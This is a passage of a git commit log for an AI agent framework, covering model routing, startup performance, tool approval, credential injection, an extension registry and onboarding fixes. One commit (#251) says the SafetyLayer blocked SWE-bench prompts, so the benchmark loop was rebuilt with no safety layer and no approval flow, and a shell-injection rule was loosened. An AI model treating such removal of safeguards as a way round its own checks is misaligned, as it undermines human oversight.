tar.gz URL), MCP Servers (with Add Custom form), and Registered Tools.
Registry entries are now filtered client-side by kind so WASM tools/
channels and MCP servers each have dedicated UI sections.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: adopt agent-market design language for web UI

Refresh the web gateway visual identity with a cleaner, modern aesthetic:
deeper blacks, green accent palette, DM Sans + IBM Plex Mono typography,
larger border-radii, glassmorphic navigation, refined hover effects,
pill badges, and green focus rings. CSS-only change plus Google Fonts.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Update src/channels/web/static/style.css

Co-authored-by: Copilot <[email protected]>

* Update src/channels/web/static/style.css

Co-authored-by: Copilot <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
Co-authored-by: Copilot <[email protected]>
2026-02-21 02:50:51 +00:00
c038c7705b feat: add smart routing provider for cost-optimized model selection (#281)
* feat: add smart routing provider for cost-optimized model selection

Route simple tasks (greetings, status checks, short questions) to a cheap
model (e.g. Haiku) and complex tasks (code generation, analysis) to the
primary model, reducing agent costs without sacrificing quality.

Activates automatically when NEARAI_CHEAP_MODEL is set. Cascade mode
retries uncertain cheap-model responses with the primary model.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: apply cargo fmt formatting

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor: extract provider chain into shared build_provider_chain()

Consolidate the duplicated LLM provider chain construction from main.rs
and app.rs into a single build_provider_chain() function in llm/mod.rs.

This fixes the inconsistency where app.rs was missing retry wrapping
that main.rs had, and ensures both paths apply identical decorators:
retry → smart routing → failover → circuit breaker → cache.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: address PR review — uncertainty detection and clippy lint

- Remove false-positive short response (<20 chars) uncertainty check
  that would escalate "Yes.", "42" etc. Now only empty responses and
  explicit uncertainty phrases trigger cascade escalation.
- Add #[allow(clippy::type_complexity)] to build_provider_chain() to
  fix CI clippy -D warnings failure.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-21 02:37:45 +00:00
98ee648fcb perf: speed up startup from ~15s to ~2s (#280)
Three high-impact changes eliminate most startup latency:

1. Enable wasmtime persistent compilation cache — call
   cache_config_load_default() so compiled native code is serialized to
   disk (~/.cache/wasmtime). Subsequent startups deserialize instead of
   recompiling, dropping the WASM phase from ~13s to <1s.

2. Cache compiled Component in PreparedModule — store the compiled
   wasmtime::component::Component directly instead of raw bytes.
   Eliminates ~2.6s recompilation on every first tool/channel execution.

3. Move blocking housekeeping to background tasks — embedding backfill
   (~1.3s of failing HTTP calls) and stale job cleanup are fire-and-forget
   work that no longer blocks the critical startup path.

Also: deduplicate Workspace creation in main.rs (two identical instances
reduced to one), and replace leftover println! in session validation with
tracing calls.

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-21 02:30:57 +00:00
2cdd1acb1e refactor: consolidate tool approval into single param-aware method (#274)
* refactor: consolidate tool approval into single param-aware method

Replace the two confusing approval methods (requires_approval() and
requires_approval_for()) with a single requires_approval(&self, params)
returning a 3-variant ApprovalRequirement enum (Never, UnlessAutoApproved,
Always). This enables param-aware approval decisions: HTTP calls without
auth headers now skip approval entirely, while authenticated requests
always require it. Shell tool merges its destructive-command detection
into the same method.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: add credential injection to built-in HTTP tool

Wire the WASM credential injection system into the built-in HTTP tool
so credentials are auto-injected at the boundary (zero-exposure model).

- Add SharedCredentialRegistry: thread-safe, append-only registry of
  credential mappings populated by WASM tools at registration time
- Add credential_detect module with broad auth detection for headers
  (12 exact + 5 substring matches), header values (7 auth scheme
  prefixes), and URL query params (17 exact + 5 substring matches)
- HttpTool now accepts optional credential registry + secrets store,
  auto-injects matching credentials in execute(), and uses broader
  auth detection in requires_approval()
- ToolRegistry passes credential registry to HttpTool at startup and
  populates it when WASM tools register
- Remove old hardcoded AUTH_HEADER_NAMES / has_auth_headers in favor
  of the new params_contain_manual_credentials()

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: address PR #274 review comments (query param injection, lock poisoning, visibility)

- Fix injected query params not being sent on outbound HTTP requests by
  also calling .query() on the RequestBuilder alongside parsed_url mutation
- Recover from poisoned RwLock in SharedCredentialRegistry instead of
  silently ignoring failures, with tracing::warn for visibility
- Narrow inject_credential and host_matches_pattern to pub(crate) to
  avoid committing to them as stable public API

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-21 01:28:23 +00:00
github-actions[bot]GitHubgithub-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
542268fde5 chore: release v0.9.0 (#278)
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-02-21 00:48:24 +00:00
3b6105d5ea feat: add TEE attestation shield to web gateway UI (#275)
Show a shield indicator in the tab bar when the instance is running
inside a TEE deployment. On hover, fetches and displays the TDX
attestation report (image digest, TLS cert fingerprint, report data,
VM config) from the management API.

Co-authored-by: Cursor <[email protected]>
2026-02-21 00:25:59 +00:00
Pierre LE GUENandGitHub df8616b604 fix: add X-Accel-Buffering header to SSE endpoints (#277)
Nginx buffers responses by default, breaking SSE connections that go
through a reverse proxy. Add X-Accel-Buffering: no header to chat and
log SSE handlers to match what compose-api and chat-api already do.
2026-02-20 16:25:27 -08:00
e8dcb52fda feat: configurable tool iterations, auto-approve, and policy fix (#251)
* feat: direct agentic loop for SWE-bench benchmarks

Replace the full Agent-based runner with a purpose-built agentic loop
that directly calls the LLM with tools. The old path routed through
SafetyLayer (which blocked SWE-bench prompts), dispatcher (capped at
10 iterations), approval flow (wasted iterations), and 20+ irrelevant
builtin tools (diluted the model's focus).

New architecture:
- AgenticLoop: LLM call -> tool execution -> repeat (up to 30 iters)
- Per-task tool scoping via BenchSuite::task_tools() with working dirs
- Suite-provided system prompts via BenchSuite::system_prompt()
- No safety layer, no approval flow, no sessions/threads overhead
- Configurable max_iterations in BenchConfig and TOML

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: apply --model CLI override to LLM provider

The --model flag was updating matrix entry labels but not the actual
LLM provider, so requests were still sent using the model from .env.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: configurable tool iterations and auto-approve for benchmarks

Add max_tool_iterations and auto_approve_tools settings to AgentConfig,
replacing the hardcoded MAX_TOOL_ITERATIONS constant. Fix shell_injection
policy rule to not block markdown backtick code snippets.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: address benchmarks crate audit findings

High:
- Fix truncate_output UTF-8 panic on multi-byte char boundaries
- Fix parallel results durability (write JSONL per-task, not after all)

Medium:
- Fix --sample to use random shuffle instead of first-N
- Delegate all LlmProvider methods in InstrumentedLlm
- Fix LLM-as-judge to return fail instead of misleading 0.5
- Remove unnecessary shallow clone (always gets unshallowed)
- Replace .unwrap() with .expect() in LazyLock regex init

Low:
- Remove dead code: unused error variants, trait methods, struct fields
- Remove BenchSuite::name() (redundant with id())
- Remove TaskSubmission::conversation, ConversationTurn, TurnRole
- Remove unused methods from BenchChannel, results, config
- Clean up ChannelCapture conversation tracking

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: add SWE-bench dataset and Docker scoring infrastructure

Add the SWE-bench Lite dataset (300 tasks) and Docker files for
isolated test execution and scoring of SWE-bench patches.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* chore: remove benchmarks (extracted to separate repo)

Benchmarks crate has been extracted to its own repository.
Remove the workspace member and all benchmarks/ files.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: add missing AgentConfig fields in test initializer

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-21 00:21:13 +00:00
github-actions[bot]GitHubgithub-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>Illia Polosukhin
1f18422b88 chore: release v0.8.0 (#249)
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
Co-authored-by: Illia Polosukhin <[email protected]>
2026-02-20 20:45:42 +00:00
448383cfb0 refactor: remove Responses API, consolidate to Chat Completions (#272)
* fix: strip reasoning from LLM responses and persist assistant messages reliably

- Filter out `type: "reasoning"` output items from NEAR AI Responses API
  parsing so chain-of-thought never reaches the UI (nearai.rs)
- Rewrite clean_response with regex-based tag stripping that is
  code-aware (preserves tags inside fenced blocks and inline backticks),
  supports 9+ tag names (think, thought, reasoning, reflection, etc.),
  handles <final> extraction, pipe-delimited tags, and case/whitespace
  tolerance (reasoning.rs)
- Add Reasoning::complete() helper so all non-agentic LLM call sites
  (summarize, suggest, heartbeat, compaction) get automatic response
  cleaning; thread SafetyLayer through to those callers
- Change persist_turn from fire-and-forget tokio::spawn to awaited async
  so both user and assistant messages are written before returning,
  preventing data loss on shutdown/restart
- Pass input_count through seed_response_chain so response chaining
  delta calculation is accurate after thread hydration on restart
- Make NearAiResponse.usage optional and preserve response_id in alt
  response path for chaining continuity
- Persist session token to DB during onboarding wizard so runtime
  loads it without legacy-key fallback; suppress spurious warning on
  fresh installs
- Fix dev tool double-registration when builder already registers them
- Load dotenv/ironclaw env for doctor and status subcommands
- Reduce startup log noise (demote info→debug for skills, remove
  redundant info lines)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Nudge to not loop over tools continuesly

* refactor: remove Responses API, consolidate NEAR AI to Chat Completions only

The Responses API provider (nearai.rs, 1278 lines) added significant complexity
(response chaining state machine, delta message calculation, previous_response_id
persistence) for marginal benefit. This consolidates to the Chat Completions API
only, upgrading NearAiChatProvider with dual auth (session token + API key) and
401 retry for session token renewal.

- Delete src/llm/nearai.rs (Responses API provider)
- Upgrade nearai_chat.rs with SessionManager, dual auth, flexible list_models
- Remove response_id from CompletionResponse and ToolCompletionResponse
- Remove seed_response_chain/get_response_chain_id from LlmProvider trait
- Remove response chain persistence from agent (thread_ops, session)
- Remove NearAiApiMode enum and NEARAI_API_MODE config
- Clean up all wrapper providers (retry, circuit_breaker, failover, cache)
- Update documentation (CLAUDE.md, .env.example)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: runtime log level control via gateway UI and URL parameter

Add server-side log level switching using tracing_subscriber::reload::Layer
so the EnvFilter can be swapped at runtime without restarting. Expose via
GET/PUT /api/logs/level endpoints, a "Server: LEVEL" dropdown in the logs
toolbar, and a ?log_level=debug URL parameter for one-click activation.

Also applies cargo fmt to pre-existing files (llm/, tests/).

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-20 20:43:32 +00:00
7df356c109 fix: persist WASM channel workspace writes across callbacks (#264)
* fix: persist WASM channel workspace writes across callbacks

WASM channel callbacks (polling, webhooks, on_start) call
workspace_write() to persist state, but the host code never committed
these writes — take_pending_writes() was never called. Additionally,
no WorkspaceReader was injected into channel capabilities, so
workspace_read() always returned None.

This caused Telegram's polling offset to reset to 0 on every tick,
making getUpdates re-deliver already-processed messages and producing
2-4 duplicate LLM responses per user message.

Add ChannelWorkspaceStore (Arc-wrapped HashMap with std::sync::RwLock)
that persists across callback invocations within a channel's lifetime.
Inject it as the WorkspaceReader and commit pending writes after every
callback execution (on_start, on_poll, on_http_request, execute_poll).

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: fix formatting

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-20 15:52:21 +00:00
3829d81269 fix: consolidate per-module ENV_MUTEX into crate-wide test lock (#246)
Each config test module (llm.rs, embeddings.rs) defined its own
ENV_MUTEX, which doesn't prevent cross-module env races since
cargo test runs in parallel. Move to a single shared mutex in
config/helpers.rs so all unsafe set_var/remove_var calls are
serialized crate-wide.

Closes #245

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-20 08:11:10 +00:00
8a4f3b6f88 fix: remove auto-proceed fake user message injection from agent loop (#255)
The agentic loop injected fake user messages ("Please proceed and use
the available tools to complete this task.") when the LLM responded
with text instead of tool calls. This caused hallucinated conversations
during casual chat, 3x wasted LLM calls, and trust issues.

Remove the `resume_after_tool` parameter and `tools_executed` tracking
entirely. Text responses now return immediately, trusting the LLM to
decide when tools are needed (consistent with ZeroClaw and OpenClaw).

Closes #145

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-20 08:09:52 +00:00
140f29decf ci: add automated PR labeling system (#253)
* ci: add automated PR labeling system

Add two independent workflows for PR auto-labeling:
- Scope labels via actions/labeler (path glob matching)
- Size, risk, and contributor tier via custom shell script

Includes idempotent label bootstrap script (create-labels.sh).

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* ci: temporarily use pull_request trigger for testing

Switch to pull_request so workflows run from the PR branch.
Will revert to pull_request_target before merge.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix(ci): use absolute path for search/issues API call

gh api requires a leading slash for REST endpoints.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix(ci): use gh pr list instead of search API for contributor count

The search/issues API returns 404 with the default GITHUB_TOKEN.
gh pr list --state merged works with standard permissions.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* ci: revert to pull_request_target for fork PR support

Restore pull_request_target trigger and base branch checkout
now that testing is complete.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-20 12:02:41 +04:00
5725a62c83 fix: onboarding errors reset flow and remote server auth (#185, #186) (#248)
* fix: incremental settings persistence and remote server auth (#185, #186)

Persist settings after each wizard step so failures don't lose prior
progress. Load existing settings on re-run to recover from partial
onboarding. Add manual token paste option for remote/headless servers
where browser OAuth is unreachable, and support IRONCLAW_OAUTH_CALLBACK_URL
for custom callback URLs. Color prompt output (green/red/blue prefixes).

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: replace session token paste with API key entry, address PR review

Replace option 4 in NEAR AI auth menu from session token paste to NEAR
AI Cloud API key entry (cloud.near.ai). Also address all PR review
feedback: restrict .env file permissions to 0o600, mask API key input
with secret_input, fix libsql loaded flag in try_load_existing_settings,
add ENV_MUTEX to oauth_defaults tests, and add NEARAI_API_KEY to secrets
injection.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: deduplicate keys in upsert_bootstrap_var

When the .env file contains duplicate keys (e.g. from manual editing),
only write the replacement once and skip subsequent duplicates.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: NEARAI_SESSION_TOKEN env var takes precedence over file-based tokens

Hosting providers inject session tokens via env var and expect them to
be used directly. Previously the env var was only picked up when no
session file existed and was treated as a legacy migration. Now the env
var always wins, without persisting to disk.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* docs: distinguish NEAR AI Chat and NEAR AI Cloud providers

Split documentation into two clearly named modes:
- NEAR AI Chat: Responses API at private.near.ai, session token auth
- NEAR AI Cloud: Chat Completions API at cloud-api.near.ai, API key auth

Update default base URLs so each mode points to its correct endpoint.
Update .env.example, deploy/env.example, CLAUDE.md, setup spec, and
code comments across config/llm.rs, nearai.rs, nearai_chat.rs, mod.rs.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: wizard recovery ordering — load DB before persist, fresh choices win

Previously, persist_after_step() ran after Step 1 but before
try_load_existing_settings(), bulk-upserting defaults that clobbered
prior settings. Additionally, merge_from gave stale DB values
precedence over fresh Step 1 choices.

Fix: snapshot Step 1 settings, load DB, then re-apply the snapshot.
This ensures prior progress (steps 2-7) is recovered while fresh
Step 1 choices override stale DB values.

Add two tests verifying wizard recovery merge ordering.

Addresses PR review comments from Copilot on wizard.rs:150,
wizard.rs:1607, and wizard.rs:1626.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: fix rustfmt formatting in config/llm.rs

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: collapse nested if per clippy collapsible_if lint

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: use print_success for API key confirmation, fix menu spacing

- Use print_success() for colored output consistency in api_key_login
- Fix box-drawing alignment: options 1-2 had an extra trailing space

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-20 08:02:22 +00:00
bfe393eb38 fix: parallelize tool call execution via JoinSet (#219) (#252)
* fix: parallelize tool call execution via JoinSet (#219)

When the LLM returns multiple tool_calls in a single response, they were
executed sequentially. This change makes both the worker and dispatcher
paths concurrent using tokio::task::JoinSet, so N independent tool calls
complete in ~max(latency) instead of sum(latency).

Worker path: migrate execute_tools_parallel from join_all to JoinSet and
route the respond_with_tools branch through the same parallel path.

Dispatcher path: restructure the while-idx loop into three phases —
preflight (sequential approval/hook checks), parallel execution via
JoinSet, and sequential post-flight processing (session recording,
auth detection, sanitization).

Also fixes a pre-existing infinite loop bug where hook rejection used
`continue` inside a `while idx` loop, skipping `idx += 1` and retrying
the same rejected tool forever.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: address PR review — ordered results, deferred auth, dedup standalone fn

- Fix auth early return skipping unrecorded tool results: defer auth
  response until after all results in the batch are recorded in session
  history and context_messages (both dispatcher and thread_ops paths)
- Fix tool results appearing out of order: collect Phase 1 hook
  rejections indexed by original position, merge with Phase 2 execution
  results, and emit all in Phase 3 in original tool_calls order
- Deduplicate execute_chat_tool: Agent method now delegates to the
  standalone function instead of duplicating 90 lines of logic
- Fix benchmark compilation: add missing session_manager arg to Agent::new

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: rustfmt alignment for CI compatibility

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: address second round of PR review comments

- Distinguish JoinError panic vs cancellation in log messages and error
  reasons across all 3 files (dispatcher, thread_ops, worker)
- Simplify deferred_auth from Option<(String, String)> to Option<String>
  since only the instructions string is used
- Add single-tool short-circuit in worker execute_tools_parallel to
  avoid JoinSet overhead for the common single-tool case

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-20 06:07:30 +00:00
AI-Reviewer-QSandGitHub 9906190de7 fix: prevent pipe deadlock in shell command execution (#140)
Drain stdout and stderr concurrently with child.wait() using tokio::join
to prevent deadlocks when command output exceeds the OS pipe buffer
(64KB on Linux, 16KB on macOS).

Use AsyncReadExt::take() for memory-bounded reads and
tokio::io::copy to sink for draining excess output.

Add regression test that generates 128KB of output to verify the
fix prevents deadlocks.
2026-02-20 03:07:46 +00:00
Illia PolosukhinandClaude Opus 4.6 9349a3baca fix: add missing session_manager arg to Agent::new in benchmark runner
Agent::new gained an 8th parameter (session_manager) but the benchmark
runner was not updated, breaking compilation of the bench crate.

Co-Authored-By: Claude Opus 4.6 <[email protected]>
2026-02-19 18:32:56 -08:00
3f135bdde9 fix: persist turns after approval and add agent-level tests (#250)
* fix: persist turns after approval and add agent-level tests

Port relevant changes from PR #112 that were not carried over to #237:

- Add persist_turn calls in process_approval for the response, error,
  and auth-required paths. Previously, turns completed after tool
  approval were never persisted to DB — if the process crashed after
  approval the entire turn (user message + assistant response) was lost.

- Add agent-level unit tests: StaticLlmProvider mock, make_test_agent
  helper, tests for auto-approval logic, destructive shell command
  detection, and PendingApproval backward-compatible deserialization
  (without deferred_tool_calls field).

- Remove unused _thread_state binding in process_approval.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: address 14 audit findings in src/agent/

Audit of the agent module found 2 High, 7 Medium, 3 Low, and 2 Nit
severity issues. This commit fixes all of them:

High:
- Remove 4 `.expect()` calls in session.rs (entry API, match, direct
  indexing, if-let) to eliminate panic paths in production
- Add typed RoutineError enum replacing Result<_, String> across
  routine.rs, routine_engine.rs, and callers in history/store.rs and
  db/libsql/mod.rs

Medium:
- Sanitize routine names in path construction to prevent directory
  traversal (routine_engine.rs)
- Log warnings for 5 silently-swallowed errors in scheduler.rs,
  compaction.rs, and worker.rs
- Extract shared handle_auth_intercept helper to deduplicate auth
  interception in thread_ops.rs
- Add session count warning threshold in session_manager.rs
- Make FullJob stub degradation visible via warn-level log and
  prepended warning in output

Low:
- Restrict dead code visibility with #[cfg(test)] on 19 unused items
  in submission.rs, task.rs, and undo.rs
- Narrow pub to pub(crate) on self_repair.rs builder methods
- Remove TaskStatus from mod.rs re-exports (test-only type)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: address PR review comments

- Reorder persist_turn before persist_response_chain so the
  conversation row exists before the metadata UPDATE runs
- Add persist_response_chain call to handle_auth_intercept so
  auth-required paths preserve the response chain
- Harden sanitize_routine_name to use allowlist (alphanumeric,
  dash, underscore) instead of denylist replacements
- Fix stale active_thread ID in get_or_create_thread: fall back
  to create_thread() when the stored ID is missing from the map
- Persist turn on approval rejection so user messages survive
  crashes after a tool is rejected

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-20 02:28:15 +00:00
97a7637f30 feat: extension registry with metadata catalog and onboarding integration (#238)
* feat: add extension registry with metadata catalog, CLI, and onboarding integration

Adds a central registry that catalogs all 14 available extensions (10 tools,
4 channels) with their capabilities, auth requirements, and artifact references.
The onboarding wizard now shows installable channels from the registry and
offers tool installation as a new Step 7.

- registry/ folder with per-extension JSON manifests and bundle definitions
- src/registry/ module: manifest structs, catalog loader, installer
- `ironclaw registry list|info|install|install-defaults` CLI commands
- Setup wizard enhanced: channels from registry, new extensions step (8 steps)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix(setup): resolve workspace errors for tool crates and channels-only onboarding

Tool crates in tools-src/ and channels-src/ failed `cargo metadata` during
onboard install because Cargo resolved them as part of the root workspace.
Add `[workspace]` table to each standalone crate and extend the root
`workspace.exclude` list so they build independently.

Channels-only mode (`onboard --channels-only`) failed with "Secrets not
configured" and "No database connection" because it skipped database and
security setup. Add `reconnect_existing_db()` to establish the DB connection
and load saved settings before running channel configuration.

Also improve the tunnel "already configured" display to show full provider
details (domain, mode, command) instead of just the provider name.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix(registry): address PR review feedback on installer and catalog

- Use manifest.name (not crate_name) for installed filenames so
  discovery, auth, and CLI commands all agree on the stem (#1)
- Add AlreadyInstalled error variant instead of misleading
  ExtensionNotFound (#2)
- Add DownloadFailed error variant with URL context instead of
  stuffing URLs into PathBuf (#3)
- Validate HTTP status with error_for_status() before reading
  response bytes in artifact downloads (#4)
- Switch build_wasm_component to tokio::process::Command with
  status() so build output streams to the terminal (#6)
- Find WASM artifact by crate_name specifically instead of picking
  the first .wasm file in the release directory (#7)
- Add is_file() guard in catalog loader to skip directories (#8)
- Detect ambiguous bare-name lookups when both tools/<name> and
  channels/<name> exist, with get_strict() returning an error (#9)
- Fix wizard step_extensions to check tool.name for installed
  detection, consistent with the new naming (#11, #12)
- Fix redundant closures and map_or clippy warnings in changed files

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix(setup): restore DB connection fields after settings reload

reconnect_postgres() and reconnect_libsql() called Settings::from_db_map()
which overwrote database_url / libsql_path / libsql_url set from env vars.
Also use get_strict() in cmd_info to surface ambiguous bare-name errors.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: fix clippy collapsible_if and print_literal warnings

Collapse nested if-let chains and inline string literals in format
macros to satisfy CI clippy lint checks (deny warnings).

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix(registry): prefer artifacts for install-defaults and improve dir lookup

- InstallDefaults now defaults to downloading pre-built artifacts
  (matching `registry install` behavior), with --build flag for source builds.
- find_registry_dir() walks up 3 ancestor levels from the exe and adds
  a CARGO_MANIFEST_DIR fallback, matching load_registry_catalog() logic.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-20 01:17:44 +00:00
bigguybobbyandGitHub dae26d640e feat(models): add GPT-5.3 Codex, full GPT-5.x family, Claude 4.x series, o4-mini (#197)
Fixes #184 — updates model selection, priority sort, and cost table to
match current OpenAI and Anthropic model catalogs.

OpenAI: GPT-5.3 Codex, GPT-5.2 Codex/Pro, GPT-5.1 Codex/Mini/Max,
GPT-5/Mini/Nano, GPT-4.1/Mini/Nano, o4-mini, o3/Pro
Anthropic: Claude Opus 4.6/4.5/4.1/4.0, Claude Sonnet 4.6/4.5/4.0,
Claude Haiku 4.5, Claude 3.7 Sonnet, Claude 3.5 Haiku

Also resolves stale merge-conflict markers in http.rs and json.rs.
2026-02-20 01:16:13 +00:00
fa64df05ff feat: wire memory hygiene into the heartbeat loop (#195)
* feat: wire memory hygiene into heartbeat loop (#166)

* refactor: address PR review comments for hygiene wiring

* style: fix fmt import ordering and clippy too_many_arguments warning

* fix: update heartbeat integration test to pass HygieneConfig argument

HeartbeatRunner::new() now requires a HygieneConfig as its second
argument after the hygiene wiring refactor. Pass the default config
in the integration test.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

---------

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
Co-authored-by: Illia Polosukhin <[email protected]>
2026-02-20 01:13:25 +00:00
356f56f77c docs: update CLAUDE.md for recently merged features (#183)
* docs: update CLAUDE.md for recently merged features

Document skills system, sandbox network proxy, leak detector,
Tinfoil private inference, setup wizard, and shell env scrubbing
that were merged but not reflected in CLAUDE.md.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* docs: fix SKILL.md format example and scoring description

Align SKILL.md frontmatter example with actual SkillManifest struct:
activation block with patterns/keywords/max_context_tokens, requires
nested under metadata.openclaw. Fix scoring pipeline description to
mention keywords, tags, and regex patterns instead of triggers/intents.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* docs: optimize CLAUDE.md structure and reduce from 959 to 671 lines

- Update llm/ directory tree (4 -> 12 files to match actual codebase)
- Fix "NEAR AI (required)" -> "NEAR AI (when LLM_BACKEND=nearai)"
- Remove 28-item Completed changelog list (no actionable value)
- Deduplicate 3 config blocks with cross-references
- Extract Workspace deep-dive to src/workspace/README.md
- Extract Tool Architecture deep-dive to src/tools/README.md
- Consolidate Code Style and Review Discipline under Key Patterns
- Add workspace and tools to Module Specifications table

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-20 01:04:39 +00:00
github-actions[bot]GitHubgithub-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
17434d6499 chore: release v0.7.0 (#239)
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-02-20 00:37:58 +00:00
3f58ed6232 fix: persist onboard_completed to bootstrap .env so config survives restart (#241)
* fix: persist onboard_completed to bootstrap .env so config survives restart (#187)

The wizard saved settings to the database but check_onboard_needed() read
from the legacy settings.json on disk, causing re-onboarding on every run
for non-NEAR AI users. Write ONBOARD_COMPLETED=true to ~/.ironclaw/.env
and check that env var instead of the legacy file.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Apply suggestion from @Copilot

Co-authored-by: Copilot <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
Co-authored-by: Copilot <[email protected]>
2026-02-20 00:33:53 +00:00
097a26ace6 fix: harden openai-compatible provider, approval replay, and embeddings defaults (#237)
* fix: harden openai-compatible tool flow and local defaults

* fix: close approval replay gaps and harden openai-compatible flow

* fix: address review feedback and code improvements (takeover #112)

- Make ChatCompletionResponse.id Optional<String> to handle providers
  that omit or null the field
- Propagate HTTP client builder errors instead of silently dropping
  timeout configuration (openai_compatible_chat, nearai_chat)
- Add EMBEDDING_DIMENSION env var with smart per-model defaults instead
  of hardcoding 768/1536 everywhere
- Remove duplicated dimension inference logic from main.rs

Co-Authored-By: panosAthDBX <[email protected]>
Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: harden src/llm/ module from crate audit findings

- Replace 9x .expect() on RwLock with graceful poison recovery
  (nearai.rs: 7, nearai_chat.rs: 2) — eliminates production panics
- Propagate HTTP client builder errors in nearai.rs instead of
  silently dropping timeout config (NearAiProvider::new now returns Result)
- Make nearai_chat ChatCompletionResponse.id Optional<String>
  (mirrors openai_compatible_chat.rs fix for providers that omit id)
- Make nearai_chat usage fields optional with defensive parse_usage()
  helper (was required u32 fields that crash on null/missing)
- Truncate error responses to 512 chars in nearai_chat.rs error
  messages to prevent log bloat and potential data leakage
- Delegate 4 missing LlmProvider methods in FailoverProvider
  (model_metadata, seed_response_chain, get_response_chain_id,
  calculate_cost) to last-used provider instead of trait defaults

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor(llm): add RetryProvider, remove openai_compatible_chat, harden decorators

- Add composable RetryProvider decorator wrapping any LlmProvider with
  exponential backoff + jitter, respecting RateLimited retry_after hints
- Remove openai_compatible_chat.rs — replaced by rig adapter + RetryProvider
- Remove internal retry loop from nearai.rs (was causing double-retry
  with external RetryProvider, up to 16 attempts instead of 4)
- Remove internal retry loop from nearai_chat.rs (same issue)
- Wire RetryProvider into main.rs composition chain: each provider gets
  its own retry wrapper before failover
- Move normalize_tool_name to rig_adapter.rs for all rig-based providers
- Reconcile is_retryable() vs is_transient() error classification:
  ModelNotAvailable no longer retryable, Json no longer transient
- Fix unchecked Duration subtraction panic in circuit_breaker.rs
- Make failover.rs use shared is_retryable() from retry.rs
- Remove stale #[allow(dead_code)] on NearAiResponse::id (field is used)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: address PR review feedback — error handling, dimension validation, libSQL warning

- Replace response.text().await.unwrap_or_default() with proper error
  propagation in nearai.rs and nearai_chat.rs (4 call sites). Failures
  now return LlmError::RequestFailed with context instead of silently
  proceeding with an empty string.
- Add embedding dimension validation in OllamaEmbeddings::embed_batch():
